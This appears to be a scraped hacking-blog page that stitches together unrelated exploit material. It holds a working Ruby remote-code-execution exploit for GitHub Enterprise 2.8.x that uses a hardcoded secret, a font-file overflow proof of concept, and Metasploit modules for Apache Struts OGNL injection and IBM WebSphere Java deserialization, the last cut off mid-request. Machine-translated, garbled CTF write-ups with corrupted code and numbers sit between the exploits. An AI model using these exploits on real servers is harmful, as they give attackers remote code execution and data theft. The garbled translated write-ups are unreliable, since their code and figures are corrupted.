#!/usr/bin/ruby
require "openssl"
require "cgi"
require "net/http"
require "uri"
SECRET = "641dd6454584ddabfed6342cc66281fb"
puts ' ___. .__ '
puts ' ____ ___ ________ \_ |__ | | __ __ ____ '
puts '_/ __ \\\\ \/ /\__ \ | __ \| | | | \_/ __ \ '
puts '\ ___/ > < / __ \| \_\ \ |_| | /\ ___/ '
puts ' \___ >__/\_ \(____ /___ /____/____/ \___ >'
puts ' \/ \/ \/ \/ \/ '
puts ''
puts "github Enterprise RCE exploit"
puts "Vulnerable: 2.8.0 - 2.8.6"
puts "(C) 2017 iblue <iblue@exablue.de>"
unless ARGV[0] && ARGV[1]
puts "Usage: ./exploit.rb <hostname> <valid ruby code>"
puts ""
puts "Example: ./exploit.rb ghe.example.org \"%x(id > /tmp/pwned)\""
exit 1
end
hostname = ARGV[0]
code = ARGV[1]
# First we get the cookie from the host to check if the instance is vulnerable.
puts "[+] Checking if #{hostname} is vulnerable..."
http = Net::HTTP.new(hostname, 8443)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # We may deal with self-signed certificates
rqst = Net::HTTP::Get.new("/")
while res = http.request(rqst)
case res
when Net::HTTPRedirection then
puts " => Following redirect to #{res["location"]}..."
rqst = Net::HTTP::Get.new(res["location"])
else
break
end
end
def not_vulnerable
puts " => Host is not vulnerable"
exit 1
end
unless res['Set-Cookie'] =~ /\A_gh_manage/
not_vulnerable
end
# Parse the cookie
begin
value = res['Set-Cookie'].split("=", 2)[1]
data = CGI.unescape(value.split("--").first)
hmac = value.split("--").last.split(";", 2).first
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, data)
not_vulnerable if expected_hmac != hmac
rescue
not_vulnerable
end
puts " => Host is vulnerable"
# Now construct the cookie
puts "[+] Assembling magic cookie..."
# Stubs, since we don't want to execute the code locally.
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "#{code}; 1"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
session = {"session_id" => "", "exploit" => proxy}
# Marshal session
dump = [Marshal.dump(session)].pack("m")
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
puts "[+] Sending cookie..."
rqst = Net::HTTP::Get.new("/")
rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"
res = http.request(rqst)
if res.code == "302"
puts " => Code executed."
else
puts " => Something went wrong."
end
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863178596
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Date: 15-03-2017
# Author: Hossein Lotfi (https://twitter.com/hosselot)
# CVE: CVE-2016-7274
1. Description
An integer overflow error within the "LoadUvsTable()" function of usp10.dll
can be exploited to cause a heap-based buffer overflow. Full analysis is
available at:
http://blogs.flexerasoftware.com/secunia-research/2016/12/microsoft_windows_loaduvstable_heap_based_buffer_overflow_vulnerability.html
2. Proof of Concept
open “C:\Windows\Fonts\phagspa.ttf” in a hex editor and change the value at
offset 0x2051 from 0x00000006 to 0x33333334.
3. Solution:
Microsoft initially tried to fixed the issue in MS16-147, but the fix was
incomplete and the issue remained unpatched til Microsoft March 2017 patch
release:
https://twitter.com/hosselot/status/809059287037251584
It appears MS17-013 finally fixed the vulnerability properly:
https://technet.microsoft.com/en-us/library/security/ms17-013.aspx
@hosselot
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vunlerability in Apache Struts
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
via http Content-Type header.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
'Author' => [
'Nike.Zheng', # PoC
'Nixawk', # Metasploit module
'Chorder', # Metasploit module
'egypt', # combining the above
'Jeffrey Martin', # Java fu
],
'References' => [
['CVE', '2017-5638'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
],
'Privileged' => true,
'Targets' => [
[
'Universal', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
],
'DisclosureDate' => 'Mar 07 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
]
)
@data_header = "X-#{rand_text_alpha(4)}"
end
def check
var_a = rand_text_alpha_lower(4)
ognl = ""
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
begin
resp = send_struts_request(ognl)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.headers[var_a]
vprint_good("Victim operating system: #{resp.headers[var_a]}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
case payload.arch.first
#when ARCH_JAVA
# datastore['LHOST'] = nil
# resp = send_payload(payload.encoded_jar)
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload(generate_payload_exe)
end
require'pp'
pp resp.headers if resp
end
def send_struts_request(ognl, extra_header: '')
uri = normalize_uri(datastore["TARGETURI"])
content_type = "%{(#_='multipart/form-data')."
content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
content_type << "(#_memberAccess?"
content_type << "(#_memberAccess=#dm):"
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
content_type << "(#ognlUtil.getExcludedClasses().clear())."
content_type << "(#context.setMemberAccess(#dm))))."
content_type << ognl
content_type << "}"
headers = { 'Content-Type' => content_type }
if extra_header
headers[@data_header] = extra_header
end
#puts content_type.gsub(").", ").\n")
#puts
resp = send_request_cgi(
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def execute_command(cmd)
ognl = ''
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
# You can add headers to the server's response for debugging with this:
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start())|
send_struts_request(ognl, extra_header: cmd)
end
def send_payload(exe)
ognl = ""
ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
# Using stuff from the sun.* package here means it likely won't work on
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
# work and I don't see a better way of getting binary data onto the
# system. =/
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
ognl << %q|(#fos.write(#d)).|
ognl << %q|(#fos.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete())|
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
end
end
=begin
Doesn't work:
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
ognl << %q|(#m.invoke(null,null)).|
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884
=end
1。 JSコード分析のコーディング変換
writeup:open index.htmlscript src='script-min.js'/scrip //最初の呼び出し.jsスクリプトタイプ='text/javascript' var ic=false; #デフォルトIC値はfalse var fg=''です。 function getFlag(){//関数関数のgetfflagボタンは、対応するイベントvar token=document.getElementById( 'sectoken')。valueをトリガーします。 //#テキスト入力ボックスの値を割り当ててくださいtoken ic=checktoken(token); //checktoken(token)関数を呼び出して、チェックして割り当てます。関数パッケージにはFG=BM(トークン)が含まれています。 //function checktoken(token)を呼び出してshowflag()を割り当てますvar f=document.getElementById( 'flag'); t.innertext=! ic? 「あなたは下の旗を手に入れました!」 : '間違って!'; T.ClassName=! IC? 'rightflag' : '間違ったフラグ'; f.innertext=fg; }/script/head body h1flag in your hand/h1 ptype in goot flag./p ptips:フラグは手にあります。 onclick='getflag()'//p2。ボタンをクリックするとGetFlag機能がトリガーされることは明らかです。デフォルトでfalseになります。 CheckToken(トークン)関数を呼び出すため、CheckToken関数が重要なポイントであることを意味します。3。 Checktoken関数を開き、コンテンツを表示します。フラグが偽のトークン
4である可能性があります。ただし、入力後、エラーを依然としてプロンプトするため、FG=BM(トークン)のみがあります。このコードには問題があります。
5。 ICを直接検索します。つまり、ICはこの側で偽りになっている必要があります。
6。左側のアイコンの下のブレークポイントをクリックし、ボタンをクリックして、それを正常に壊しました。関数パラメーターsが入力した変数であり、sの長さをAと比較し、sの値を使用して3とaの値を差し引くことがわかりました。問題がない場合は、trueを返してください。したがって、trueを返すsを逆に推定するだけです。ソリューションコードは次のとおりです:a=[118、104、102、120、117、108、119、124、48、123、101、120]
S=''
A:のIの場合
s +=chr(i -3)
印刷
8。トークンボックス
9にSecurity-XBUを入力します。最後に、flag:renibyd8fgg5hawvqm7tdq
2。 Base64キーボードパスワードのエンコード
writetup:1を取得します。ファイルを開いた後、2つのヘックス文字列636A56355279427363446C4A49454A7154534230526D6843 564445A31614342354E326C4B49466667A5742696969614530672。 Hexadecimal stringをasciihttp://www.ab126.com/goju/1711.html get:cjv5rybscdljiejqtsb0rmhcvdz1Acb5n2lkiffzwia0g3。 base64:
get:r5yg lp9i bjm tfhb t6uh y7ij qsz bhm4。 4文字ごとにスペースがあることを確認し、キーボードを見て、キーボードのパスワードであることがわかります。つまり、キーボードの文字を囲む数文字です。たとえば、r5ygはt、lp9iはoを囲まれています。キャラクターの各グループに囲まれたキャラクターを見つけて、フラグを形成してください。 (プレフィックスを追加する必要はありません)5。GET:R5YG-T、LP9I-O、BJM-N、TFHB-G、T6UH-Y、Y7IJ-U、QSZ-A、BHM-N6。最後に、flag:tongyuan
3。産業用フローパッケージ分析
writeup:1。トラフィックパケットを開き、ARP、UDP、SNAプロトコルに関するトラフィックパケットがあり、図に示すように大量のUDPトラフィックがあることを見つけます:
2。まず、UDPトラフィックパケットを分析し、長さのUDPトラフィックパケットが多数あることを発見し、総長さが表示されていることがわかります。 1回しか表示されないパケット。
3。ここでは、UDPストリームトラッキングが12の長さで実行され、疑わしい文字が見つかりました
4.文字列666C61677B37466F4D3253746B6865507A7Dを抽出し、対応するACIIコードhttp://WWW.AB126.com/goju/1711.html 5。
iv。テキストの通常の大文字
1。添付ファイルをダウンロードした後、私はそれが大きなテキストであることがわかりました。テキストを慎重に観察した後、私はテキストに故意に大胆になっている大文字がたくさんあることがわかりました。
2。首都を除外します
catf590c0f99c014b01a5ab8b611b46c57c.txt | grep-o '[a-z]' | tr-d '\ n'ここ:
GREP -Oは一致する文字列TR -Dを表示するだけで表示されます。指定された文字3。フィルタリングされた文字を取得:ゼロネゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロゼロネズONEONEZEROZEROONEONEONEONEZEROONEONEZEROONEONEZEROONEZEROZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROZEROONEZEROZEROZEROZEROONEONEZEROZEROONEONEZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROZEROZEROONEZEROONEONEZE ROONEONEONEONEZEROONEZEROONEZERONEZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZERONEZEROZEREONEONEZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZEROZERONEZERONEZERONEZERONEONE4。記事のすべての大文字を抽出し、ゼロと1つで構成される文字列を取得します。ゼロを番号0に、1つを番号1に置き換えて、表現されたバイナリ数を取得し、この数値を文字列に変換します。
010000100100100101010100100110100001101010100010010011110110110100000101010110010010010011010111110011 0001011011100101111111110000011011000011010010010010001011011100101111001101010011001001001101110011001101111101
5。オンラインバイナリへの文字列:
http://www.txttool.com/wenben_binarystr.asp
6.pythonスクリプト取得
#coding:UTF-8-from string Import Emptercase
crypto.util.Number inmort long_to_bytesから
def solve():
f:#data.txtとしてopen( 'data.txt'、 'r')が上でフィルタリングされた大文字です
data=f.read()
cip=''
データ:のCの場合
cpercase:のcの場合
CIP+=c
cip=cip.replace( 'zero'、 '0')
cip=cip.replace( 'one'、 '1')
long_to_bytesを返す(long(cip、2))
__NAME __=='__ Main __' :の場合
Solve()を印刷します
7. flagを取得:bitsctf {h1d3_1n_pl41n_5173}
v。 RSA復号化
質問説明:ファディはあなたが新人だと思っていて、彼が投稿したものを見ることを恐れていませんでした。彼は平易なテキストで彼の友人に以下を送りました: P=0xA6055EC186DE51800DDD6FCBF0192384FF42D707A55F57AF4FCFB0D1DC7BD9 7055E8275CD4B78EC63C5D592F567C66393A061324AA2E6A8D8FC2A910CBEE1ED9 Q=0xFA0F9463EA0A93B929C099320D31C277E0B0DBC65B189ED76124F5A1218F5D 91FD0102A4C8DE11F28BE5E4D0AE91AB319F4537E97ED74BC663E972A4A9119307 E=0x6D1FDAB4CE3217B3FC32C9ED480A31D067FD57D93A9AB52B472DC393AB785 2FBCB11ABBEBFD6AAAE8032DB1316DC22D3F7C3D631E24DF13EF23D3B381A1C3E 04ABCC745D402EE3A031AC2718FAE63B240837B4F657F29CA4702DA9AF22A3A01 9D68904A969DDB01BCF941DF70AF042F4FAE5CBEB9C2151B324F387E525094C41 C=0x7FE1A4F743675D1987D25D38111FAE0F78BBEA6852CBA5BEDA47DB76D119A3EFE24CB04B9449F53BECD43B0B46E269826A83F832832832BBB53555555555555555555555555555555555555555555555555555555555555555555553 8344ED5C20F51E2686D24C76050C1E73647523BD5F91D9B6AD3E86BBF912658 8B1DEE21E6997372E36C3E74284734748891829665086E0DC523ED23C386BB520彼は私たちの復号化能力Writeup:を真剣に過小評価していました
1。質問の16進数を小数点に変換します。
https://tool.lu/hexconvert/
P=86952241150363555850657119739296036271134788610181138168484331081777772517 240308721981280176995392696427341397469232176120700610749965333026113898553049
Q=13096749823995628078930936161926731369550833801075399550861609999067145714985 0288846976369829603845838414249722038514443535111987497145134804975486079751
E=76629781387397242643116709874317578271441392556392807529834168670310153073 520143866486739942179138155817821866364881591859652274493031187833628624358994 867175044572336498295631763539498171499977327643558191037055959594639570436120 59621114897322707756573946764130942694529006537681147498322988959999999989800641
C=8980138944356956995739840695470759849276392341856853603032354608827875836233104 3197364379101176970325948359029005820403943674808298008972319252338074527838935 803140427806463333626149336724945854865041439061149411962509247624419480 036048744062822136093417043390251690152562280292002226433430028828280630082。スクリプトを使用してRSAのM値を取得します
#コーディング=utf-8
gmpy2をインポートします
crypto.util.Numberインポートから *
gmpy2からIrootをインポートし、反転します
P=86952241150363555850657119739296036271134788610181138168484331081777772517 240308721981280176995392696427341397469232176120700610749965333026113898553049
Q=13096749823995628078930936161926731369550833801075399550861609999067145714985 0288846976369829603845838414249722038514443535111987497145134804975486079751
E=76629781387397242643116709874317578271441392556392807529834168670310153073 520143866486739942179138155817821866364881591859652274493031187833628624358994 867175044572336498295631763539498171499977327643558191037055959594639570436120 59621114897322707756573946764130942694529006537681147498322988959999999989800641
c=8980138944356956995739840695470759849276392341856853603032354608827875836233104311936363791011777777777777 697032594835902900582040394367480829800897231925233807452783893580314042780646333313626149333333333333333333333333
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability",
'Description' => %q{
This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization
call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows
remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Liatsis Fotios @liatsisfotios' # Metasploit Module
# Thanks for helping me:
# # # # # # # # # # # #
# Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module
# Dimitriadis Alexios @AlxDm_ # Assistance and code check
# Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation
],
'References' =>
[
['CVE', '2015-7450'],
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171']
],
'Platform' => 'win',
'Targets' =>
[
[ 'IBM WebSphere 7.0.0.0', {} ]
],
'DisclosureDate' => "Nov 6 2015",
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'WfsDelay' => 20
}))
register_options([
OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']),
Opt::RPORT('8880')
], self.class)
end
def exploit
# Decode - Generate - Set Payload / Send SOAP Request
soap_request(set_payload)
end
def set_payload
# CommonCollections1 Serialized Streams
ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ="
ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo="
# Generate Payload
payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end)
payload_exec = Rex::Text.encode_base64(payload_exec)
end
def invoke_ccs(serialized_stream)
# Decode Serialized Streams
serialized_stream = Rex::Text.decode_base64(serialized_stream)
end
def gen_payload
# Staging Native Payload
exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "")
# Size up RCE - Buffer
cmd_lng = exec_cmd.length
lng2str = "0" + cmd_lng.to_s(16)
buff = [lng2str].pack("H*")
rce_pld = buff + exec_cmd
end
def soap_request(inject_payload)
# SOAP Request
req = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
req += "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" + "\r\n"
req += "<SOAP-ENV:Header xmlns:ns0=\"admin\" ns0:WASRemoteRuntimeVersion=\"7.0.0.0\" ns0:JMXMessageVersion=\"1.0.0\" ns0:SecurityEnabled=\"true\" ns0:JMXVersion=\"1.2.0\">" + "\r\n"
req += "<LoginMethod>BasicAuth</LoginMethod>" + "\r\n"
req += "</SOAP-ENV:Header>" + "\r\n"
req += "<SOAP-ENV:Body>" + "\r\n"
